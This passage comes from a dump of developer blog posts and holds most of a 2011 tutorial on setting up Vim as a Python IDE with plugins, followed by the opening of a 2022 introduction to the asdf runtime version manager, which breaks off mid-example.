https://github.com/vim-scripts/TaskList.vim.git bundle/tasklist\ngit submodule add https://github.com/vim-scripts/The-NERD-tree.git bundle/nerdtree\ngit submodule add https://github.com/sontek/rope-vim.git bundle/ropevim\ngit submodule init\ngit submodule update\ngit submodule foreach git submodule init\ngit submodule foreach git submodule update\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eThats it! Now that we've got our vim configuration in git!\u003c/p\u003e\n\u003cp\u003eNow lets look at how to use each of these plugins to improve the power\nof vim:\u003c/p\u003e\n\u003ch1\u003eBasic Editing and Debugging\u003c/h1\u003e\n\u003ch2\u003eCode Folding\u003c/h2\u003e\n\u003cp\u003eLets first enable code folding. This makes it a lot easier to organize\nyour code and hide portions that you aren't interested in working on.\nThis is quite easy for Python, since whitespace is required.\u003c/p\u003e\n\u003cp\u003eIn your ~/.vimrc just add:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003eset foldmethod=indent\nset foldlevel=99\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eThen you will be able to be inside a method and type 'za' to open and\nclose a fold.\u003c/p\u003e\n\u003ch2\u003eWindow Splits\u003c/h2\u003e\n\u003cp\u003eSometimes code folding isn't enough; you may need to start opening up\nmultiple windows and working on multiple files at once or different\nlocations within the same file. To do this in vim, you can use these\nshortcuts:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003eVertical Split : Ctrl+w + v\nHorizontal Split: Ctrl+w + s\nClose current windows: Ctrl+w + q\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eI also like to bind Ctrl+\u0026#x3C;movement\u003e keys to move around the windows,\ninstead of using Ctrl+w + \u0026#x3C;movement\u003e:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003emap \u0026#x3C;c-j\u003e \u0026#x3C;c-w\u003ej\nmap \u0026#x3C;c-k\u003e \u0026#x3C;c-w\u003ek\nmap \u0026#x3C;c-l\u003e \u0026#x3C;c-w\u003el\nmap \u0026#x3C;c-h\u003e \u0026#x3C;c-w\u003eh\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e\u003cimg src=\"http://i.imgur.com/krj0l.png\" alt=\"image\"\u003e\u003c/p\u003e\n\u003ch2\u003eSnippets\u003c/h2\u003e\n\u003cp\u003eThe next tweak that really speeds up development is using snipmate.\nWe've already included it in our bundle/ folder so its already enabled.\nTry opening up a python file and typing 'def\u0026#x3C;tab\u003e'. It should stub\nout a method definition for you and allow you to tab through and fill\nout the arguments, doc string, etc.\u003c/p\u003e\n\u003cp\u003eI also like to create my own snippets folder to put in some custom\nsnippets:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003e$ mkdir ~/.vim/snippets\n$ vim ~/.vim/snippets/python.snippets\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003ePut this in the file:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003esnippet pdb\n import pdb; pdb.set_trace()\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eNow you can type pdb\u0026#x3C;tab\u003e and it'll insert your breakpoint!\u003c/p\u003e\n\u003ch2\u003eTask lists\u003c/h2\u003e\n\u003cp\u003eAnother really useful thing is to mark some of your code as TODO or\nFIXME! I know we all like to think we write perfect code, but sometimes\nyou just have to settle and leave a note for yourself to come back\nlater. One of the plugins we included was the tasklist plugin that will\nallow us to search all open buffers for things to fix. Just add a\nmapping to open it in ~/.vimrc:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003emap \u0026#x3C;leader\u003etd \u0026#x3C;Plug\u003eTaskList\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eNow you can hit \u0026#x3C;leader\u003etd to open your task list and hit 'q' to\nclose it. You can also hit enter on the task to jump to the buffer and\nline that it is placed on.\u003c/p\u003e\n\u003ch2\u003eRevision History\u003c/h2\u003e\n\u003cp\u003eThe final basic editing tweak I suggest everyone start utilizing is the\nGundo plugin. It'll allow you to view diff's of every save on a file\nyou've made and allow you to quickly revert back and forth:\u003c/p\u003e\n\u003cp\u003e\u003cimg src=\"http://i.imgur.com/2NrPS.png\" alt=\"image\"\u003e\u003c/p\u003e\n\u003cp\u003eJust bind a key in your .vimrc to toggle the Gundo window:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003emap \u0026#x3C;leader\u003eg :GundoToggle\u0026#x3C;CR\u003e\n\u003c/code\u003e\u003c/pre\u003e\n\u003ch1\u003eSyntax Highlighting and Validation\u003c/h1\u003e\n\u003cp\u003eSimply enable syntax highlighting in your ~/.vimrc:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003esyntax on \" syntax highlighing\nfiletype on \" try to detect filetypes\nfiletype plugin indent on \" enable loading indent file for filetype\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eBecause we enabled pyflakes when we added it as a submodule in\n~/.vim/bundle, it will notify you about unused imports and invalid\nsyntax. It will save you a lot of time saving and running just to find\nout you missed a colon. I like to tell it not use the quickfix window:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003elet g:pyflakes_use_quickfix = 0\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e\u003cimg src=\"http://i.imgur.com/ZfjFe.png\" alt=\"image\"\u003e\u003c/p\u003e\n\u003ch2\u003ePep8\u003c/h2\u003e\n\u003cp\u003eThe final plugin that really helps validate your code is the pep8\nplugin, it'll make sure your code is consistent across all projects.\nAdd a key mapping to your ~/.vimrc and then you'll be able to jump to\neach of the pep8 violations in the quickfix window:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003elet g:pep8_map='\u0026#x3C;leader\u003e8'\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e\u003cimg src=\"http://i.imgur.com/VU9AB.png\" alt=\"image\"\u003e\u003c/p\u003e\n\u003ch1\u003eTab Completion and Documentation\u003c/h1\u003e\n\u003cp\u003eVim has many different code completion options. We are going to use the\nSuperTab plugin to check the context of the code you are working on and\nchoose the best for the situation. We've already enabled the SuperTab\nplugin in the bundle/ folder, so we just have to configure it to be\ncontext sensitive and to enable omni code completion in your ~/.vimrc:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003eau FileType python set omnifunc=pythoncomplete#Complete\nlet g:SuperTabDefaultCompletionType = \"context\"\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eNow we just enable the menu and pydoc preview to get the most useful\ninformation out of the code completion:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003eset completeopt=menuone,longest,preview\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e\u003cimg src=\"http://i.imgur.com/g4lxP.png\" alt=\"image\"\u003e\u003c/p\u003e\n\u003cp\u003eWe also enabled the pydoc plugin at the beginning with all the\nsubmodules; that gives us the ability to hit \u0026#x3C;leader\u003epw when our\ncursor is on a module and have a new window open with the whole\ndocumentation page for it.\u003c/p\u003e\n\u003ch1\u003eCode Navigation\u003c/h1\u003e\n\u003ch2\u003eBuffers\u003c/h2\u003e\n\u003cp\u003eThe most important part about navigating code within vim, is to\ncompletely understand how to use buffers. There is no reason to use\ntabs. Open files with :e \u0026#x3C;filename\u003e to place in a buffer. We already\ninstalled the minibufexpl plugin, so you will already visually see every\nbuffer opened. You can also get a list of them doing :buffers.\u003c/p\u003e\n\u003cp\u003eYou can switch between the buffers using b\u0026#x3C;number\u003e, such as :b1 for\nthe first buffer. You can also use its name to match, so you can type :b\nmod\u0026#x3C;tab\u003e to autocomplete opening the models.py buffer. You need to\nmake sure you are using the minibufexpl from my github since it has\npatches that make it much better to work with.\u003c/p\u003e\n\u003cp\u003eTo close a buffer you use :bd or :bw.\u003c/p\u003e\n\u003ch2\u003eFuzzy Text File Search\u003c/h2\u003e\n\u003cp\u003eTo make finding and opening files within your project even easier, we\nare going to use the command-t plugin. It does have some parts that need\nto be compiled, so its not already installed by adding it as a\nsubmodule. Go to your ~/.vim/bundle/command-t folder and run 'rake\nmake'. Yes you need ruby installed. By default, command-t is bound to\n\u0026#x3C;leader\u003et. This will use fuzzy text matching to find any file in your\nproject.\u003c/p\u003e\n\u003cp\u003eIt also supports searching only through opened buffers, instead of files\nusing \u0026#x3C;leader\u003eb.\u003c/p\u003e\n\u003cp\u003e\u003cimg src=\"http://i.imgur.com/hUcSl.png\" alt=\"image\"\u003e\u003c/p\u003e\n\u003ch2\u003eFile Browser\u003c/h2\u003e\n\u003cp\u003eNERD Tree is a project file browser. I must admit I used this heavily\nback when I was migrating from Visual Studio and used to the Solution\nExplorer, but I rarely use it anymore. Command-T is usually all you'll\nneed. It is useful when you are getting to know a new codebase for the\nfirst time though. Lets bind a shortcut key for opening it:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003emap \u0026#x3C;leader\u003en :NERDTreeToggle\u0026#x3C;CR\u003e\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e\u003cimg src=\"http://i.imgur.com/R4ZzQ.png\" alt=\"image\"\u003e\u003c/p\u003e\n\u003ch2\u003eRefactoring and Go to definition\u003c/h2\u003e\n\u003cp\u003eRopevim is also a great tool that will allow you to navigate around your\ncode. It supports automatically inserting import statements, goto\ndefinition, refactoring, and code completion. You'll really want to\nread up on everything it does, but the two big things I use it for is to\njump to function or class definitions quickly and to rename things\n(including all their references).\u003c/p\u003e\n\u003cp\u003eFor instance, if you are using django and you place your cursor over the\nclass models.Model you reference and then called :RopeGotoDefintion, it\nwould jump you straight to the django library to that class definition.\nWe already have it installed in our bundles, so we bind it to a key to\nuse it:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003emap \u0026#x3C;leader\u003ej :RopeGotoDefinition\u0026#x3C;CR\u003e\nmap \u0026#x3C;leader\u003er :RopeRename\u0026#x3C;CR\u003e\n\u003c/code\u003e\u003c/pre\u003e\n\u003ch2\u003eSearching\u003c/h2\u003e\n\u003cp\u003eThe final tool that really speeds up navigating your code is the Ack\nplugin. Ack is similar to grep, but much better in my opinion. You can\nfuzzy text search for anything in your code (variable name, class,\nmethod, etc) and it'll give you a list of files and line numbers where\nthey are defined so you can quickly cycle through them. Just bind the\nsearching to a key:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003enmap \u0026#x3C;leader\u003ea \u0026#x3C;Esc\u003e:Ack!\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eWe use ! at the end of it so it doesn't open the first result\nautomatically.\u003c/p\u003e\n\u003ch1\u003eIntegration with Git\u003c/h1\u003e\n\u003cp\u003eWe installed 2 plugins, git.vim and fugitive, that give us all the\nintegration we need. Git.vim will provide us syntax highlighting for git\nconfiguration files; fugitive provides a great interface for interacting\nwith git including getting diffs, status updates, committing, and moving\nfiles.\u003c/p\u003e\n\u003cp\u003eFugitive also allows you to view what branch you are working in directly\nfrom vim. Add this to your statusline in ~/.vimrc:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003e%{fugitive#statusline()}\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eThe big commands you need to know:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eGblame\u003c/strong\u003e: This allows you to view a line by line comparison of who\nthe last person to touch that line of code is.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eGwrite\u003c/strong\u003e: This will stage your file for commit, basically doing\ngit add \u0026#x3C;filename\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eGread\u003c/strong\u003e: This will basically run a git checkout \u0026#x3C;filename\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eGcommit\u003c/strong\u003e: This will just run git commit. Since its in a vim\nbuffer, you can use keyword completion (Ctrl-N), like\ntest_all\u0026#x3C;Ctrl-N\u003e to find the method name in your buffer and\ncomplete it for the commit message. You can also use + and - on the\nfilenames in the message to stage/unstage them for the commit.\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cimg src=\"http://i.imgur.com/NuRRj.png\" alt=\"image\"\u003e\u003c/p\u003e\n\u003ch1\u003eTest Integration\u003c/h1\u003e\n\u003ch2\u003edjango nose\u003c/h2\u003e\n\u003cp\u003eTest runner integration really depends on the testing library you are\nusing and what type of tests you are running but we included a great\ngeneric plugin called MakeGreen that executes off of vim's makeprg\nvariable. So for instance, if you are using django with django-nose you\ncould define a shortcut key in your ~/.vimrc like this:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003emap \u0026#x3C;leader\u003edt :set makeprg=python\\ manage.py\\ test\\|:call MakeGreen()\u0026#x3C;CR\u003e\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eThis will just give you a green bar at the bottom of vim if your test\npassed or a red bar with the message of the failed test if it doesn't.\nVery simple.\u003c/p\u003e\n\u003ch2\u003epy.test\u003c/h2\u003e\n\u003cp\u003eI also included the py.test vim plugin for those who prefer it. This\nplugin has a lot more functionality including executing individual tests\nby class, file, or method. You can also cycle through the individual\nassertion errors. I have the following bindings:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003e\" Execute the tests\nnmap \u0026#x3C;silent\u003e\u0026#x3C;Leader\u003etf \u0026#x3C;Esc\u003e:Pytest file\u0026#x3C;CR\u003e\nnmap \u0026#x3C;silent\u003e\u0026#x3C;Leader\u003etc \u0026#x3C;Esc\u003e:Pytest class\u0026#x3C;CR\u003e\nnmap \u0026#x3C;silent\u003e\u0026#x3C;Leader\u003etm \u0026#x3C;Esc\u003e:Pytest method\u0026#x3C;CR\u003e\n\" cycle through test errors\nnmap \u0026#x3C;silent\u003e\u0026#x3C;Leader\u003etn \u0026#x3C;Esc\u003e:Pytest next\u0026#x3C;CR\u003e\nnmap \u0026#x3C;silent\u003e\u0026#x3C;Leader\u003etp \u0026#x3C;Esc\u003e:Pytest previous\u0026#x3C;CR\u003e\nnmap \u0026#x3C;silent\u003e\u0026#x3C;Leader\u003ete \u0026#x3C;Esc\u003e:Pytest error\u0026#x3C;CR\u003e\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e\u003cimg src=\"http://i.imgur.com/RAE7v.png\" alt=\"image\"\u003e\u003c/p\u003e\n\u003ch1\u003eVirtualenv\u003c/h1\u003e\n\u003cp\u003eVim doesn't realize that you are in a virtualenv so it wont give you\ncode completion for libraries only installed there. Add the following\nscript to your ~/.vimrc to fix it:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003e\" Add the virtualenv's site-packages to vim path\npy \u0026#x3C;\u0026#x3C; EOF\nimport os.path\nimport sys\nimport vim\nif 'VIRTUAL_ENV' in os.environ:\n project_base_dir = os.environ['VIRTUAL_ENV']\n sys.path.insert(0, project_base_dir)\n activate_this = os.path.join(project_base_dir, 'bin/activate_this.py')\n execfile(activate_this, dict(__file__=activate_this))\nEOF\n\u003c/code\u003e\u003c/pre\u003e\n\u003ch1\u003eDjango\u003c/h1\u003e\n\u003cp\u003eThe only true django tweak I make is before I open vim I'll export the\nDJANGO_SETTINGS_MODULE environment so that I get code completion for\ndjango modules as well:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003eexport DJANGO_SETTINGS_MODULE=project.settings\n\u003c/code\u003e\u003c/pre\u003e\n\u003ch1\u003eRandom Tips\u003c/h1\u003e\n\u003cp\u003eIf you want to find a new color scheme just go to\n\u003ca href=\"http://code.google.com/p/vimcolorschemetest/\"\u003ehttp://code.google.com/p/vimcolorschemetest/\u003c/a\u003e to preview a large\nselection.\u003c/p\u003e\n\u003cp\u003eJohn Anderson \u0026#x3C;\u003ca href=\"mailto:sontek@gmail.com\"\u003esontek@gmail.com\u003c/a\u003e\u003e 2011\u003c/p\u003e","category":"Development","date":"2011-05-07T00:00:00Z","tags":["Vim","Python"],"title":"Turning Vim into a modern Python IDE"}]},"NodeJS":{"count":1,"posts":[{"id":["2022","intro_to_asdf"],"path":"2022/intro_to_asdf","contentHtml":"\u003cp\u003e\u003ca href=\"https://asdf-vm.com/\"\u003easdf\u003c/a\u003e is a general purpose version manager that\ncan manage versions of most programming language runtimes through a set\nof plugins.\u003c/p\u003e\n\u003ciframe width=\"854\" height=\"480\" src=\"https://www.youtube.com/embed/RTaqWRj-6Lg\" title=\"YouTube video player\" frameborder=\"0\" allow=\"accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture\" allowfullscreen\u003e\u003c/iframe\u003e\n\u003cp\u003eWith micro-services being all the rage and the ever changing landscape\nof the development world, it is rare to utilize a single version of\nlanguage runtime. Even when you want to upgrade from one to the other\nyou will need both usable on your system at the same time.\u003c/p\u003e\n\u003cp\u003eI have used tools like \u003ccode\u003epyenv\u003c/code\u003e and \u003ccode\u003envm\u003c/code\u003e in the past when I needed to change\nversions depending on which project I am contributing to. But with \u003ccode\u003easdf\u003c/code\u003e\nyou have one tool to rule them all!\u003c/p\u003e\n\u003ch2\u003eGetting Started\u003c/h2\u003e\n\u003cp\u003eThe first thing you need to do when working with \u003ccode\u003easdf\u003c/code\u003e is grab the\nplugins for the languages you are interested in working with. You can list\nwhat plugins are available:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F47067\"\u003e\u003e\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e asdf plugin list all\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003egolang\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e *\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003ehttps://github.com/kennyp/asdf-golang.git\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003egolangci-lint\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e https://github.com/hypnoglow/asdf-golangci-lint.git\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003enodejs\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e *\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003ehttps://github.com/asdf-vm/asdf-nodejs.git\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003epoetry\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e *\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003ehttps://github.com/asdf-community/asdf-poetry.git\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003epython\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e *\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003ehttps://github.com/danhper/asdf-python.git\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eyarn\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e *\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003ehttps://github.com/twuni/asdf-yarn.git\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eOn the left will be the name of the plugin and on the right will be the repository\nwhere it lives. It will be marked with an asterisk if you already have it installed.\u003c/p\u003e\n\u003cp\u003eTo install a plugin you say \u003ccode\u003easdf plugin add \u0026#x3C;plugin\u003e\u003c/code\u003e to get it installed. You can\nalso provide the repository where you want it pulled from, for example:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F47067\"\u003e\u003e\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e asdf plugin add nodejs https://github.com/asdf-vm/asdf-nodejs.git\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F47067\"\u003e\u003e\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e asdf plugin add python https://github.com/danhper/asdf-python.git\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eThis will not give you any version of those languages, it is only installing the\nplugin that knows how to work with those languages. You are ready to pull down\nany versions you want at that point:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F47067\"\u003e\u003e\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e asdf install nodejs 14.19.0\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F47067\"\u003e\u003e\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e asdf install python 3.9.10\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eOnce you have the versions installed you will be able to view them like this:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F47067\"\u003e\u003e\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e asdf list\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003egolang\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e 1.17.7\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003enodejs\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e --help\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e 12.22.10\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e 14.19.0\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e 16.14.0\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e 17.5.0\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003epoetry\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e 1.1.13\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003epython\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e 3.9.10\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eyarn\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e 1.22.17\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003ch2\u003eUsing the installed languages\u003c/h2\u003e\n\u003cp\u003eTo activate a specific version of a language you have three options:\u003c/p\u003e\n\u003ch3\u003eMake it global\u003c/h3\u003e\n\u003cp\u003eYou can make it global, meaning when you run the tool like \u003ccode\u003epython\u003c/code\u003e it will use\nthis version for the system:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F47067\"\u003e\u003e\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e asdf global python 3.9.10\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003ch3\u003eMake it local\u003c/h3\u003e\n\u003cp\u003eYou can make it local, which means it will generate a file in the current\ndirectory named \u003ccode\u003e.tool-versions\u003c/code\u003e and so whenever you change into a directory\nit will activate the versions defined in there.\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F47067\"\u003e\u003e\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e asdf \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003elocal\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e nodejs 12.22.10\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F47067\"\u003e\u003e\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e cat .tool-versions \u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003enodejs\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e 12.22.10\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eThe great thing about this is you can commit that file to git and then anyone\nwho checks out the project and uses \u003ccode\u003easdf\u003c/code\u003e will have the same versions activated!\u003c/p\u003e\n\u003ch3\u003eTemporary\u003c/h3\u003e\n\u003cp\u003eIf you want to activate a version of a language temporarily you can swap to it\nfor the current shell:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F47067\"\u003e\u003e\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e asdf shell golang 1.17.7\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F47067\"\u003e\u003e\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e env\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e|\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003egrep\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -i\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e ASDF\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003eASDF_GOLANG_VERSION\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e1.17.7\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eIt sets an environment variable that will have preference over the file. If you\never wonder what versions a directory is using you can run:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F47067\"\u003e\u003e\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e asdf current\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003egolang\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e ______\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e No\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e version\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e set.\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Run\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"asdf \u0026#x3C;global|shell|local\u003e golang \u0026#x3C;version\u003e\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003enodejs\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e 12.22.10\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e .tool-versions\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003epoetry\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 